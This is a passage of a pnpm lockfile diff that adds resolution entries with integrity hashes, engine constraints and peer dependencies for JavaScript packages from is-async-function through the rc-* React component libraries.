sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} + engines: {node: '>= 0.4'} + + is-async-function@2.1.1: + resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==} + engines: {node: '>= 0.4'} + + is-bigint@1.1.0: + resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==} + engines: {node: '>= 0.4'} + + is-boolean-object@1.2.2: + resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} + engines: {node: '>= 0.4'} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + + is-data-view@1.0.2: + resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} + engines: {node: '>= 0.4'} + + is-date-object@1.1.0: + resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} + engines: {node: '>= 0.4'} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-finalizationregistry@1.1.1: + resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} + engines: {node: '>= 0.4'} + + is-generator-function@1.1.0: + resolution: {integrity: sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==} + engines: {node: '>= 0.4'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-map@2.0.3: + resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==} + engines: {node: '>= 0.4'} + + is-negative-zero@2.0.3: + resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} + engines: {node: '>= 0.4'} + + is-number-object@1.1.1: + resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-path-inside@3.0.3: + resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==} + engines: {node: '>=8'} + + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + + is-set@2.0.3: + resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} + engines: {node: '>= 0.4'} + + is-shared-array-buffer@1.0.4: + resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==} + engines: {node: '>= 0.4'} + + is-string@1.1.1: + resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==} + engines: {node: '>= 0.4'} + + is-symbol@1.1.1: + resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==} + engines: {node: '>= 0.4'} + + is-typed-array@1.1.15: + resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} + engines: {node: '>= 0.4'} + + is-weakmap@2.0.2: + resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==} + engines: {node: '>= 0.4'} + + is-weakref@1.1.1: + resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==} + engines: {node: '>= 0.4'} + + is-weakset@2.0.4: + resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} + engines: {node: '>= 0.4'} + + isarray@2.0.5: + resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + iterator.prototype@1.1.5: + resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==} + engines: {node: '>= 0.4'} + + js-cookie@3.0.5: + resolution: {integrity: sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==} + engines: {node: '>=14'} + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + json2mq@0.2.0: + resolution: {integrity: sha512-SzoRg7ux5DWTII9J2qkrZrqV1gt+rTaoufMxEzXbS26Uid0NwaJd123HcoB80TgubEppxxIGdNxCx50fEoEWQA==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + jsx-ast-utils@3.3.5: + resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==} + engines: {node: '>=4.0'} + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + + loose-envify@1.4.0: + resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} + hasBin: true + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + memoize-one@5.2.1: + resolution: {integrity: sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + + minimatch@9.0.5: + resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} + engines: {node: '>=16 || 14 >=14.17'} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + mutation-observer@1.0.3: + resolution: {integrity: sha512-M/O/4rF2h776hV7qGMZUH3utZLO/jK7p8rnNgGkjKUw8zCGjRQPxB8z6+5l8+VjRUQ3dNYu4vjqXYLr+U8ZVNA==} + + nano-memoize@3.0.16: + resolution: {integrity: sha512-JyK96AKVGAwVeMj3MoMhaSXaUNqgMbCRSQB3trUV8tYZfWEzqUBKdK1qJpfuNXgKeHOx1jv/IEYTM659ly7zUA==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + node-addon-api@7.1.1: + resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==} + + node-releases@2.0.19: + resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.7: + resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} + engines: {node: '>= 0.4'} + + object.entries@1.1.9: + resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==} + engines: {node: '>= 0.4'} + + object.fromentries@2.0.8: + resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==} + engines: {node: '>= 0.4'} + + object.values@1.2.1: + resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} + engines: {node: '>= 0.4'} + + once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + own-keys@1.0.1: + resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} + engines: {node: '>= 0.4'} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + possible-typed-array-names@1.1.0: + resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} + engines: {node: '>= 0.4'} + + postcss-pxtorem@6.1.0: + resolution: {integrity: sha512-ROODSNci9ADal3zUcPHOF/K83TiCgNSPXQFSbwyPHNV8ioHIE4SaC+FPOufd8jsr5jV2uIz29v1Uqy1c4ov42g==} + peerDependencies: + postcss: ^8.0.0 + + postcss@8.5.6: + resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + prettier-linter-helpers@1.0.0: + resolution: {integrity: sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==} + engines: {node: '>=6.0.0'} + + prettier@3.6.2: + resolution: {integrity: sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==} + engines: {node: '>=14'} + hasBin: true + + prop-types@15.8.1: + resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} + + proxy-from-env@1.1.0: + resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + rc-cascader@3.34.0: + resolution: {integrity: sha512-KpXypcvju9ptjW9FaN2NFcA2QH9E9LHKq169Y0eWtH4e/wHQ5Wh5qZakAgvb8EKZ736WZ3B0zLLOBsrsja5Dag==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-checkbox@3.5.0: + resolution: {integrity: sha512-aOAQc3E98HteIIsSqm6Xk2FPKIER6+5vyEFMZfo73TqM+VVAIqOkHoPjgKLqSNtVLWScoaM7vY2ZrGEheI79yg==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-collapse@3.9.0: + resolution: {integrity: sha512-swDdz4QZ4dFTo4RAUMLL50qP0EY62N2kvmk2We5xYdRwcRn8WcYtuetCJpwpaCbUfUt5+huLpVxhvmnK+PHrkA==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-dialog@9.6.0: + resolution: {integrity: sha512-ApoVi9Z8PaCQg6FsUzS8yvBEQy0ZL2PkuvAgrmohPkN3okps5WZ5WQWPc1RNuiOKaAYv8B97ACdsFU5LizzCqg==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-drawer@7.3.0: + resolution: {integrity: sha512-DX6CIgiBWNpJIMGFO8BAISFkxiuKitoizooj4BDyee8/SnBn0zwO2FHrNDpqqepj0E/TFTDpmEBCyFuTgC7MOg==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-dropdown@4.2.1: + resolution: {integrity: sha512-YDAlXsPv3I1n42dv1JpdM7wJ+gSUBfeyPK59ZpBD9jQhK9jVuxpjj3NmWQHOBceA1zEPVX84T2wbdb2SD0UjmA==} + peerDependencies: + react: '>=16.11.0' + react-dom: '>=16.11.0' + + rc-field-form@1.44.0: + resolution: {integrity: sha512-el7w87fyDUsca63Y/s8qJcq9kNkf/J5h+iTdqG5WsSHLH0e6Usl7QuYSmSVzJMgtp40mOVZIY/W/QP9zwrp1FA==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-field-form@2.7.0: + resolution: {integrity: sha512-hgKsCay2taxzVnBPZl+1n4ZondsV78G++XVsMIJCAoioMjlMQR9YwAp7JZDIECzIu2Z66R+f4SFIRrO2DjDNAA==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-image@7.12.0: + resolution: {integrity: sha512-cZ3HTyyckPnNnUb9/DRqduqzLfrQRyi+CdHjdqgsyDpI3Ln5UX1kXnAhPBSJj9pVRzwRFgqkN7p9b6HBDjmu/Q==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-input-number@9.5.0: + resolution: {integrity: sha512-bKaEvB5tHebUURAEXw35LDcnRZLq3x1k7GxfAqBMzmpHkDGzjAtnUL8y4y5N15rIFIg5IJgwr211jInl3cipag==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-input@1.8.0: + resolution: {integrity: sha512-KXvaTbX+7ha8a/k+eg6SYRVERK0NddX8QX7a7AnRvUa/rEH0CNMlpcBzBkhI0wp2C8C4HlMoYl8TImSN+fuHKA==} + peerDependencies: + react: '>=16.0.0' + react-dom: '>=16.0.0' + + rc-mentions@2.20.0: + resolution: {integrity: sha512-w8HCMZEh3f0nR8ZEd466ATqmXFCMGMN5UFCzEUL0bM/nGw/wOS2GgRzKBcm19K++jDyuWCOJOdgcKGXU3fXfbQ==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-menu@9.16.1: + resolution: {integrity: sha512-ghHx6/6Dvp+fw8CJhDUHFHDJ84hJE3BXNCzSgLdmNiFErWSOaZNsihDAsKq9ByTALo/xkNIwtDFGIl6r+RPXBg==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-motion@2.9.5: + resolution: {integrity: sha512-w+XTUrfh7ArbYEd2582uDrEhmBHwK1ZENJiSJVb7uRxdE7qJSYjbO2eksRXmndqyKqKoYPc9ClpPh5242mV1vA==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-notification@5.6.4: + resolution: {integrity: sha512-KcS4O6B4qzM3KH7lkwOB7ooLPZ4b6J+VMmQgT51VZCeEcmghdeR4IrMcFq0LG+RPdnbe/ArT086tGM8Snimgiw==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-overflow@1.4.1: + resolution: {integrity: sha512-3MoPQQPV1uKyOMVNd6SZfONi+f3st0r8PksexIdBTeIYbMX0Jr+k7pHEDvsXtR4BpCv90/Pv2MovVNhktKrwvw==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-pagination@5.1.0: + resolution: {integrity: sha512-8416Yip/+eclTFdHXLKTxZvn70duYVGTvUUWbckCCZoIl3jagqke3GLsFrMs0bsQBikiYpZLD9206Ej4SOdOXQ==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-picker@4.11.3: + resolution: {integrity: sha512-MJ5teb7FlNE0NFHTncxXQ62Y5lytq6sh5nUw0iH8OkHL/TjARSEvSHpr940pWgjGANpjCwyMdvsEV55l5tYNSg==} + engines: {node: '>=8.x'} + peerDependencies: + date-fns: '>= 2.x' + dayjs: '>= 1.x' + luxon: '>= 3.x' + moment: '>= 2.x' + react: '>=16.9.0' + react-dom: '>=16.9.0' + peerDependenciesMeta: + date-fns: + optional: true + dayjs: + optional: true + luxon: + optional: true + moment: + optional: true + + rc-progress@4.0.0: + resolution: {integrity: sha512-oofVMMafOCokIUIBnZLNcOZFsABaUw8PPrf1/y0ZBvKZNpOiu5h4AO9vv11Sw0p4Hb3D0yGWuEattcQGtNJ/aw==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-rate@2.13.1: + resolution: {integrity: sha512-QUhQ9ivQ8Gy7mtMZPAjLbxBt5y9GRp65VcUyGUMF3N3fhiftivPHdpuDIaWIMOTEprAjZPC08bls1dQB+I1F2Q==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-resize-observer@1.4.3: + resolution: {integrity: sha512-YZLjUbyIWox8E9i9C3Tm7ia+W7euPItNWSPX5sCcQTYbnwDb5uNpnLHQCG1f22oZWUhLw4Mv2tFmeWe68CDQRQ==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-segmented@2.4.1: + resolution: {integrity: sha512-KUi+JJFdKnumV9iXlm+BJ00O4NdVBp2TEexLCk6bK1x/RH83TvYKQMzIz/7m3UTRPD08RM/8VG/JNjWgWbd4cw==} + peerDependencies: + react: '>=16.0.0' + react-dom: '>=16.0.0' + + rc-segmented@2.7.0: + resolution: {integrity: sha512-liijAjXz+KnTRVnxxXG2sYDGd6iLL7VpGGdR8gwoxAXy2KglviKCxLWZdjKYJzYzGSUwKDSTdYk8brj54Bn5BA==} + peerDependencies: + react: '>=16.0.0' + react-dom: '>=16.0.0' + + rc-select@14.16.8: + resolution: {integrity: 